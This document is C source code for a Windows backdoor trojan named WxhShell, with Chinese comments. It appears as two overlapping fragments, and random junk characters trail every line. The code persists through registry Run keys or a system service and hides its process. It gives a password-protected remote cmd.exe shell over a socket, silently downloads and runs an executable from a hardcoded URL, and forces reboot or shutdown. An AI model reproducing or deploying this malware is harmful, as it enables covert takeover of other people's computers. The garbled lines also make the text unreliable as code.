    if(Boot(SHUTDOWN)) BXCB/:0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8{t^< j$n  
    else { / X #4  
    closesocket(wsh); f[AN=M"B"s  
    ExitThread(0); -Dx_:k|k  
    } T;f`ND2fY  
    break; ?OYK'p.  
    } 8K]5fkC|  
  // 获取shell _>G.  
  case 's': { (&W&1KT  
    CmdShell(wsh); 8$+mST'4N  
    closesocket(wsh); "x+o(jOy  
    ExitThread(0); h2b,(  
    break; e#+u8LrN  
  } aw\\oN*  
  // 退出 Hz*5ZIw  
  case 'x': { T ke3X\|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !>,\KxnM  
    CloseIt(wsh); *v' d1.Z  
    break; . paA0j  
    } X{ZcJ8K  
  // 离开 y*BS %xTF  
  case 'q': { 8zMt&5jD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &y7<h>z  
    closesocket(wsh); PQkFzyk  
    WSACleanup(); 6ka, FjJ\  
    exit(1); {CO]wqEj  
    break; n0ZrgTVJ  
        } @d+NeS  
  } 8l?mNapy  
  } \4/zvlo]h  
QgR3kc^7/  
  // 提示信息 7CK3t/3D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z154lY}K  
} .+@;gVZx1  
  } ^5MPK@)c,/  
q)m0n237P  
  return; /:+f5\"-b  
} 'P:u/Sq?m  
tFi'RRZ  
// shell模块句柄 /.1yxb#Z?,  
int CmdShell(SOCKET sock) >8* 0"Q  
{ nT;Rwz$3  
STARTUPINFO si; `X:o]t@  
ZeroMemory(&si,sizeof(si)); V,*<E&+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A"V($:>U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ma gZmY~  
PROCESS_INFORMATION ProcessInfo; --> ~<o  
char cmdline[]="cmd"; jDV;tEY#^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~YH'&L.O  
  return 0; v!>(1ROQ.=  
} Bh#?:h&f  
6XFLWN-)  
// 自身启动模式 Sb/`a~q ^  
int StartFromService(void) xk#q_!(j  
{  v<_wf  
typedef struct EZY <k#  
{ >,9ah"K_x  
  DWORD ExitStatus; j6JK4{  
  DWORD PebBaseAddress; NKSK+ll2  
  DWORD AffinityMask; O-=~Bn _  
  DWORD BasePriority; e2dg{n$6"  
  ULONG UniqueProcessId; XHh!Q0v;  
  ULONG InheritedFromUniqueProcessId; <Wwcd8d  
}   PROCESS_BASIC_INFORMATION; R^ln-H;  
TpSv7kT]  
PROCNTQSIP NtQueryInformationProcess; J-k/#A4o  
Fmd^9K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *B3 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9'5`0$,|^  
Cd7imj  
  HANDLE             hProcess; %0gcNk"=  
  PROCESS_BASIC_INFORMATION pbi; S=@bb$4-T  
HPus/#j'+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]_EJ "'x  
  if(NULL == hInst ) return 0; m+a\NXWR?N  
6SqS\ 8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |b+ZKRW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j`o_Stbg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZYexW=@  
k0(_0o  
  if (!NtQueryInformationProcess) return 0; ?s-Z3{k  
w~%Rxdh?8W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tYk!Y/O}  
  if(!hProcess) return 0; !j8 DCVb  
)L0NX^jW;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !K%8tr4   
buu /Nz$  
  CloseHandle(hProcess); 4c'F.0^  
;xQNa}"V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U^&,xz$Cg  
if(hProcess==NULL) return 0; 5I6u 2k3  
~#];&WE  
HMODULE hMod; %E k!3t  
char procName[255]; C)?tf[!_6  
unsigned long cbNeeded; kc7,F2=F  
AeR*79x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dI?x&#(vw  
F.cKg~E|e  
  CloseHandle(hProcess); eq6>C7.$  
:lBw0{fP  
if(strstr(procName,"services")) return 1; // 以服务启动 EGysA{o"X  
L6 IIk  
  return 0; // 注册表启动 WS6;ad;|  
} \#sdN#e;XA  
$e, N5/O  
// 主模块 sP~;i qk  
int StartWxhshell(LPSTR lpCmdLine) [C`LKA$t  
{ c\le8C3  
  SOCKET wsl; ^e{]WH?  
BOOL val=TRUE; {l9gYA  
  int port=0; j@s*hZ^J+  
  struct sockaddr_in door; =eyPo(B  
{HtW`r1)Tt  
  if(wscfg.ws_autoins) Install(); n/ZX$?tKAK  
BIXbdo5F  
port=atoi(lpCmdLine); .sSbU^U  
"^oU&]KQJ  
if(port<=0) port=wscfg.ws_port; YQ>O6:%  
Gc_KS'K@$  
  WSADATA data; quS]26wQz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c-**~tb(  
G2&,R{L6w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OHv4Yy]$B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]sI\.a  
  door.sin_family = AF_INET; bPIo9clq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >FS}{O2c  
  door.sin_port = htons(port); [QIQpBL  
7- |N&u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !p Q*m`Xo  
closesocket(wsl); <tW/9}@p9  
return 1; p }e| E!  
} a@-bw4S D  
y+ 4#Iy  
  if(listen(wsl,2) == INVALID_SOCKET) { -EE}HUP)  
closesocket(wsl); N|%X/UjZ2.  
return 1; c`/kx  
} Z&n#*rQ7[  
  Wxhshell(wsl); ;(rK^*`fO  
  WSACleanup(); F_&H*kL L3  
Z`#XB2,  
return 0; 8gG;A8  
.LGA0  
} 8Y_lQfJa  
]TN/n%\  
// 以NT服务方式启动 wEw;],ur  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fOdX2{7m  
{ DT_%Rz~<  
DWORD   status = 0; gX| \O']6  
  DWORD   specificError = 0xfffffff; (C.aQ)|T  
q. j$]?PQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =}0$|@pl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LP/SblE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5=b6B=\*~  
  serviceStatus.dwWin32ExitCode     = 0; "bz.nE*  
  serviceStatus.dwServiceSpecificExitCode = 0; cYBjsN(!A|  
  serviceStatus.dwCheckPoint       = 0; wxN&k$`a  
  serviceStatus.dwWaitHint       = 0; `~\8fN  
DcG=u24Xy!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cC]]H&'Hg+  
  if (hServiceStatusHandle==0) return; Kw2]J)TO  
cH5RpeP  
status = GetLastError(); 7I*rtc&Kb  
  if (status!=NO_ERROR) umt`0m. :  
{ ..w$p-1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ff=RKKnN  
    serviceStatus.dwCheckPoint       = 0; PR*EyM[T  
    serviceStatus.dwWaitHint       = 0; c7R&/JV  
    serviceStatus.dwWin32ExitCode     = status; JSx[V<7m  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,1]VY/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Fe=:q  
    return; y'n<oSB}  
  } N`qGwNT%G  
c` N_MP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )@] W=  
  serviceStatus.dwCheckPoint       = 0; qQ1D}c@  
  serviceStatus.dwWaitHint       = 0; ~f( #S*Ic  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kzy9i/bL  
} LR'~:46#u  
jo<Gf 5  
// 处理NT服务事件,比如:启动、停止 ;F"Tu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r{_1M>F D!  
{ 6WoFf  
switch(fdwControl) h 0)oQrY  
{ ]\]mwvLT  
case SERVICE_CONTROL_STOP: +;Gvp=hk  
  serviceStatus.dwWin32ExitCode = 0; P ?96;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6zi Mf  
  serviceStatus.dwCheckPoint   = 0; 2vddx<&  
  serviceStatus.dwWaitHint     = 0; t}MT<Jj  
  { wRq f'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wo$ F_!3u  
  } ,mKUCG  
  return; NxB/U_j  
case SERVICE_CONTROL_PAUSE: |uX&T`7?-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0UGAc]!/RZ  
  break; V#c=O}  
case SERVICE_CONTROL_CONTINUE: 6;Mv)|FJF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2uMSeSx$  
  break; ,S~A]uH'  
case SERVICE_CONTROL_INTERROGATE: 3wfJ!z-E8  
  break; c:s[vghH^#  
}; faZc18M^1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A-eCc#I  
} 1KJ[&jS ]  
N ]GF>kf:  
// 标准应用程序主函数 W;U<,g '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zP/SDW   
{ .e}`n)z  
t1G2A`  
// 获取操作系统版本 pwF])uf*{\  
OsIsNt=GetOsVer(); L_!}R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0.1?hb|p5T  
x7xQrjE  
  // 从命令行安装 5rJ7CfVq  
  if(strpbrk(lpCmdLine,"iI")) Install(); D@k#'KU  
KnK\X>:  
  // 下载执行文件 } OkK@8?0O  
if(wscfg.ws_downexe) { G@<[fO|Iam  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4=|oOIhgb  
  WinExec(wscfg.ws_filenam,SW_HIDE); &*~_ "WyU  
} T3-/+4$0v  
mH'om SCz  
if(!OsIsNt) { 5L\Im^  
// 如果时win9x,隐藏进程并且设置为注册表启动 1\5po^Oioy  
HideProc(); xJFxrG'c  
StartWxhshell(lpCmdLine); S^~ lQ|D  
} >E>'9@Uh  
else i\RB KF  
  if(StartFromService()) iF"kR]ZL  
  // 以服务方式启动 D5!I{hp"  
  StartServiceCtrlDispatcher(DispatchTable); A.<M*[{q  
else MhN 8'y(  
  // 普通方式启动 AQ,%5MeqJ  
  StartWxhshell(lpCmdLine); @EH@_EwYV  
ket"fXqJX  
return 0; DF"*[]^[  
} $u,`bX  
H8!lSRq  
Wk]E6yz6  
@DyMq3Gt?&  
=========================================== 8ya|eJ]/L  
bWMb@zm  
JiiYl&#  
kyUG+M  
G\*`%B_ n  
g=S|lVQm  
" {)- 3g~  
<;dFiI-GO#  
#include <stdio.h>  .+-7 'ux  
#include <string.h> M =GF@C;b  
#include <windows.h>  Kuh)3/7  
#include <winsock2.h> YU1z\pK  
#include <winsvc.h> 8{p#Nl?U1  
#include <urlmon.h> HH^yruP\}  
r6}-EYq=  
#pragma comment (lib, "Ws2_32.lib") e]smnf  
#pragma comment (lib, "urlmon.lib") ;x4yidb6  
v$R7"  
#define MAX_USER   100 // 最大客户端连接数 VqdR  
#define BUF_SOCK   200 // sock buffer \2)~dV:6+  
#define KEY_BUFF   255 // 输入 buffer a8Z{-=)  
iKgH :[j  
#define REBOOT     0   // 重启 4-q8:5  
#define SHUTDOWN   1   // 关机 o>\epQt~/p  
Bet?]4\_  
#define DEF_PORT   5000 // 监听端口 h) W|~y@  
?,*KAGg%  
#define REG_LEN     16   // 注册表键长度 <VmEXJIk  
#define SVC_LEN     80   // NT服务名长度 ?) VBkA5j  
mvGj !'  
// 从dll定义API f.Ms3))  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /??nO Vvt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); . AX6xc6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zT jk^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >66v+  
ykG^(.E  
// wxhshell配置信息 -<aN$O  
struct WSCFG { lNqF@eCT9  
  int ws_port;         // 监听端口 CYN|  
  char ws_passstr[REG_LEN]; // 口令 |kkg1M#  
  int ws_autoins;       // 安装标记, 1=yes 0=no IHNl`\Le  
  char ws_regname[REG_LEN]; // 注册表键名 4'0rgS  
  char ws_svcname[REG_LEN]; // 服务名 X?q,m4+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <I^Tug\M+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @# &y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {~eVZVv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2<Q3-|/i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dzyp:\&9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R3@$ao  
lAx^!#~\  
}; "A,-/~cBV  
E=8$*YUW(g  
// default Wxhshell configuration S(h+,+289  
struct WSCFG wscfg={DEF_PORT, 0?8{q{ o+  
    "xuhuanlingzhe", *9xv0hRQ%?  
    1, uvj`r5ei  
    "Wxhshell", R3gg{hQ  
    "Wxhshell", FTC,{$  
            "WxhShell Service", @F0+t;  
    "Wrsky Windows CmdShell Service", B]|"ePj-  
    "Please Input Your Password: ", XKepk? E  
  1, IJV1=/ NJW  
  "http://www.wrsky.com/wxhshell.exe", 8.4+4Vxh   
  "Wxhshell.exe" O %?d0K  
    }; \dw*yZ^  
=dT sGNz  
// 消息定义模块 .3yxg}E>{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q,z^eMk'd:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x*2'I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; or{X{_X7  
char *msg_ws_ext="\n\rExit."; Y1Qg|U o  
char *msg_ws_end="\n\rQuit."; /K<.$B8  
char *msg_ws_boot="\n\rReboot..."; tW |K\NL  
char *msg_ws_poff="\n\rShutdown..."; 3G)Wmmh"a  
char *msg_ws_down="\n\rSave to "; W_ hckq.  
yDW$v/j.|  
char *msg_ws_err="\n\rErr!"; WGeTL`}dh  
char *msg_ws_ok="\n\rOK!"; K}p!W"!o  
<"Cacf g  
char ExeFile[MAX_PATH]; :;(zA_-  
int nUser = 0; %d/Pc4gfc  
HANDLE handles[MAX_USER]; DoA+Bwq@  
int OsIsNt; "=97:H{!  
ee|i  
SERVICE_STATUS       serviceStatus; 1^4z/<ZWm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ``p( )^zT  
42wa9UL<Ka  
// 函数声明 1JI\e6]I  
int Install(void); SsE8;IGH  
int Uninstall(void); !K~:crUV|S  
int DownloadFile(char *sURL, SOCKET wsh); bEJz>oyW"  
int Boot(int flag); 5_MqpCL  
void HideProc(void); a*Oc:$  
int GetOsVer(void); VaIFE~>E&  
int Wxhshell(SOCKET wsl); gI SP .  
void TalkWithClient(void *cs); Mr3;B+S  
int CmdShell(SOCKET sock); B8'e,9   
int StartFromService(void); hS}d vZa  
int StartWxhshell(LPSTR lpCmdLine); VdZmrq;?/  
)d\u_m W^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [?vn>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z"@yE*6  
Gw/imXL  
// 数据结构和表定义 (\UA+3$4  
SERVICE_TABLE_ENTRY DispatchTable[] = Wp[R$/uT  
{ u ::2c  
{wscfg.ws_svcname, NTServiceMain}, QKAo}1Pq  
{NULL, NULL} w,t>M_( N  
}; j JxV)AIY  
H~IN<3ko  
// 自我安装 l<]@5"wN  
int Install(void) o6PDCaT7  
{ 7eh<>X!TX  
  char svExeFile[MAX_PATH]; I}#_Jt3R  
  HKEY key; s:6pPJL  
  strcpy(svExeFile,ExeFile); K9#=@}!3L  
S-^RZ"  
// 如果是win9x系统,修改注册表设为自启动 BixKK$Lo  
if(!OsIsNt) { Tq r]5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kXmnLxhS/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y R2Q6}xR  
  RegCloseKey(key); cZ@z]LY.g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +$hqwNh@Z@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f#s /Ycp+  
  RegCloseKey(key); bvf}r ,`Q7  
  return 0; Jzg>Y?jN R  
    } :Kl~hzVSOa  
  } jb!R  
} q"|,HpQ  
else { z"b}V01F#  
= h _>OA  
// 如果是NT以上系统,安装为系统服务 f__r " N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yA8e"$  
if (schSCManager!=0) y|BRAk&n  
{ e;y\v/A  
  SC_HANDLE schService = CreateService @A_bZQ@  
  ( `uO(#au,U  
  schSCManager, u7_IO  
  wscfg.ws_svcname, QJL%J  
  wscfg.ws_svcdisp, YceX)  
  SERVICE_ALL_ACCESS, \GL!x 7s1A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $*035f  
  SERVICE_AUTO_START, y<Hka'(%  
  SERVICE_ERROR_NORMAL, R6^U9 fDG  
  svExeFile, {bxTODt@  
  NULL, j4ARGkK5B  
  NULL, @a08*"lbp  
  NULL, wUGSM"~ |  
  NULL, Xknp*(9  
  NULL I[r  
  ); kZ&|.q1zki  
  if (schService!=0) t% -"h|  
  { |i)7j G<  
  CloseServiceHandle(schService); *hhPCYOm  
  CloseServiceHandle(schSCManager); SLzxF uV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {XT3M{`rWL  
  strcat(svExeFile,wscfg.ws_svcname); Md~% e'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K,uTO7Mk[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F/MzrK\':m  
  RegCloseKey(key); [0M2`x4`  
  return 0; k<aKT?Ek>  
    } Q9-o$4#R[  
  } "pP5;*^f  
  CloseServiceHandle(schSCManager); X2X.&^  
} f}jo18z%  
} 2E V M*^A  
AOT +4*)%  
return 1; /%El0X  
} X6+2~'*t  
]2^tV.^S^  
// 自我卸载 28 h3Ayw4  
int Uninstall(void) wv.FL$f[@  
{ _cz&f%qr  
  HKEY key; c,cc avv{I  
>d.o1<  
if(!OsIsNt) { ls5s}X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]zGgx07d  
  RegDeleteValue(key,wscfg.ws_regname); 4WK@ap-~  
  RegCloseKey(key); RYU(z;+0p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G8c 8`~t  
  RegDeleteValue(key,wscfg.ws_regname); d>ltL`xn  
  RegCloseKey(key); WM& k  
  return 0; )_*<uSl  
  } h'{}eYb+   
} jy=dB-&  
} cR; zNS  
else { B;SN}I  
#+mt}w/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m$T?~o o  
if (schSCManager!=0) Ql1HaC/5)-  
{ B7:8%r/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {@T8i ^EI  
  if (schService!=0) >Ab>"!/'K  
  {  Vf:w.G A  
  if(DeleteService(schService)!=0) { ]X:{y&g(  
  CloseServiceHandle(schService); EN lqoj1  
  CloseServiceHandle(schSCManager); T6s~f$G  
  return 0; # 2As-9  
  } n@pm5f  
  CloseServiceHandle(schService); g~ tG  
  } ]~my<3j}or  
  CloseServiceHandle(schSCManager); l_ycYD$ZA  
} gTz66a@i  
} ->DfT*)  
Da#|}m0>  
return 1; "=l<%em  
} %@IZ41<C  
EleK*l  
// 从指定url下载文件 Cm:&n|  
int DownloadFile(char *sURL, SOCKET wsh) LOY+^  
{ xrbDqA.b  
  HRESULT hr; az7<@vSXi  
char seps[]= "/"; O.7Q* ^_  
char *token; >n,RBl  
char *file; :3qA7D}  
char myURL[MAX_PATH]; 0 S3~IeJ  
char myFILE[MAX_PATH]; D#>+]}5@x  
(k?,+jnR  
strcpy(myURL,sURL); Lp\89tB>  
  token=strtok(myURL,seps); lQs|B '  
  while(token!=NULL) te ?R(&  
  { {7^7)^@  
    file=token; &I8,<(`  
  token=strtok(NULL,seps); D:Zpls.  
  } |RqCw7  
uVoM2n?D%^  
GetCurrentDirectory(MAX_PATH,myFILE); uMm/$#E  
strcat(myFILE, "\\"); x{u7#s1|/  
strcat(myFILE, file); g`KVF"8  
  send(wsh,myFILE,strlen(myFILE),0); XcJ'w  
send(wsh,"...",3,0); `Q!|/B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4]$cf:  
  if(hr==S_OK) V}732?Jy  
return 0; mq$mB1$3u  
else H27J kZ&  
return 1; <\k=j{@  
t?^C9(;6  
} 3=9yR* *  
'>(R'g42n  
// 系统电源模块 ;u LD_1%  
int Boot(int flag) [T', ZLR|  
{ PezUG{q(  
  HANDLE hToken; gBRhO^Sz  
  TOKEN_PRIVILEGES tkp; 4ew|5Zex.~  
}zVPdBRfm  
  if(OsIsNt) { ToIvyeFr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }9fH`C/m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2U,O e9  
    tkp.PrivilegeCount = 1; | ]`gps  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4%O*2JAw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0A[p3xE\  
if(flag==REBOOT) { ~~ ]/<d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xr~6_N{J  
  return 0; BDY@&vF  
} +F ~;Q$T  
else { ,-Fhb~u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XtfO;`   
  return 0; D"fE )@Q@Y  
} ~*D)L'`2M  
  } /=4P< &J  
  else { D1bS=> ;,"  
if(flag==REBOOT) { ITh1|yP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lys4l$J]  
  return 0; ~T<#HSR`  
} =9n$ at$l@  
else { ws5x53K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qWe1`.o  
  return 0; /h%<e  
} 9"R]"v3BA  
} phSF. WC  
,s0E]](  
return 1; N]: "3?%  
} yyh L]Uq"=  
1&c>v3 $2  
// win9x进程隐藏模块 8WV1OIL  
void HideProc(void) 12Qcjj%F*  
{ bJe*J\){  
m}0US;c#f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i ^sK+v  
  if ( hKernel != NULL ) ` =dD6r  
  { vP&dvAUF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =If% m9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hN c;, 13  
    FreeLibrary(hKernel); t$r^'ZN  
  } Mm-FdP m  
N+l~r]: &  
return; }uWJ  
} g^8dDY[%  
,T"pUeVJ  
// 获取操作系统版本 s W+YfJT  
int GetOsVer(void) F1R91V|  
{ 0t5>'GYX  
  OSVERSIONINFO winfo; 7CUu:6%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VgZ<T,SuW  
  GetVersionEx(&winfo); PB4E_0}h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WM: ~P$%cx  
  return 1; .=rv,PWjZ  
  else 3/:O8H  
  return 0; %cO;{og M  
} C!XI0d  
"$+naY{w  
// 客户端句柄模块 ,oIZ5u{#,  
int Wxhshell(SOCKET wsl) p*!@z|F>U  
{ B+);y  
  SOCKET wsh; FR0zK=\  
  struct sockaddr_in client; xj{X#[q):  
  DWORD myID; a\vf{2  
D[ 7K2G+  
  while(nUser<MAX_USER) /OgXNIl]  
{ qh0)~JL4   
  int nSize=sizeof(client); 5h1!E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &[*_ -  
  if(wsh==INVALID_SOCKET) return 1; KU-z;}9s  
Jkpw8E7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #i ?@S$  
if(handles[nUser]==0) fj0+a0h  
  closesocket(wsh); #lltXqvD?  
else |{PQ0DS  
  nUser++; "x9xJ  
  } 2-llT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (m)%5*:  
Sx;zvc  
  return 0; ;DC0LJ  
} ol!o8M%Q  
dr~MyQ  
// 关闭 socket H4l:L(!D  
void CloseIt(SOCKET wsh) )FWF T:P~  
{ Cb=r8C  
closesocket(wsh); IS&`O= 7  
nUser--; +D?d)lK  
ExitThread(0); P7egT,Z  
} Zt lS*id_  
e7,iO#@:m  
// 客户端请求句柄 d/Py,  
void TalkWithClient(void *cs) MF 5w.@62X  
{ N#7] xL  
<$?:|  
  SOCKET wsh=(SOCKET)cs; +V2a|uvEc  
  char pwd[SVC_LEN]; R%#c~NOO  
  char cmd[KEY_BUFF]; r0\bi6;s/  
char chr[1]; W**=X\"'  
int i,j; <ya'L&  
Lj~lfO  
  while (nUser < MAX_USER) { X[@>1tl  
g,,cV+  
if(wscfg.ws_passstr) { m9L+|r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lg8~`96  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _KZ(Yq>SdY  
  //ZeroMemory(pwd,KEY_BUFF); T{)!>)  
      i=0; n|,Es!8:o  
  while(i<SVC_LEN) { U">OdoZ,E+  
e. [+xOu`  
  // 设置超时 W!X#:UM)  
  fd_set FdRead; ise@,[!  
  struct timeval TimeOut; +uT=Wb \  
  FD_ZERO(&FdRead); _eO]awsA  
  FD_SET(wsh,&FdRead); Fn[~5/  
  TimeOut.tv_sec=8; Xrz0ch  
  TimeOut.tv_usec=0; "Q/3]hc.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0(i`~g5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3zl!x  
IcQ?^9%{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;JZXSM-3  
  pwd=chr[0]; Etl7V  
  if(chr[0]==0xd || chr[0]==0xa) { .s!:p pwl  
  pwd=0; 1B1d>V$*  
  break; >|iy= Zn%'  
  } 5=?&q 'i  
  i++; 0)P18n"$  
    } B}MJ?uvA  
t =*K?'ly  
  // 如果是非法用户,关闭 socket :?p{ga9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nuCK7X  
} w+MdQ@'5  
4/h2_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r]E$uq bR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %b*%'#iK  
%/^d]#  
while(1) { iM9563v  
D3K`b4YV  
  ZeroMemory(cmd,KEY_BUFF); >u4e:/5]  
*/\.-L{h  
      // 自动支持客户端 telnet标准   ?UxY4m%R;  
  j=0; ew"Fr1UGYZ  
  while(j<KEY_BUFF) { W+eN%w5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $e_ps~{7$  
  cmd[j]=chr[0]; p']AXJ`Z  
  if(chr[0]==0xa || chr[0]==0xd) { PWmz7*/  
  cmd[j]=0; XMdc n,  
  break; VsmL#@E  
  } q1gf9` 0  
  j++; |HEw~x<=  
    } Z\L@5.*ydE  
|")x1' M  
  // 下载文件 }ot _k-  
  if(strstr(cmd,"http://")) { $"i690  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w* I+~o-  
  if(DownloadFile(cmd,wsh)) f8 ja Mn9o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  n=&c5!  
  else "tR.'F[n4P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9,W-KM  
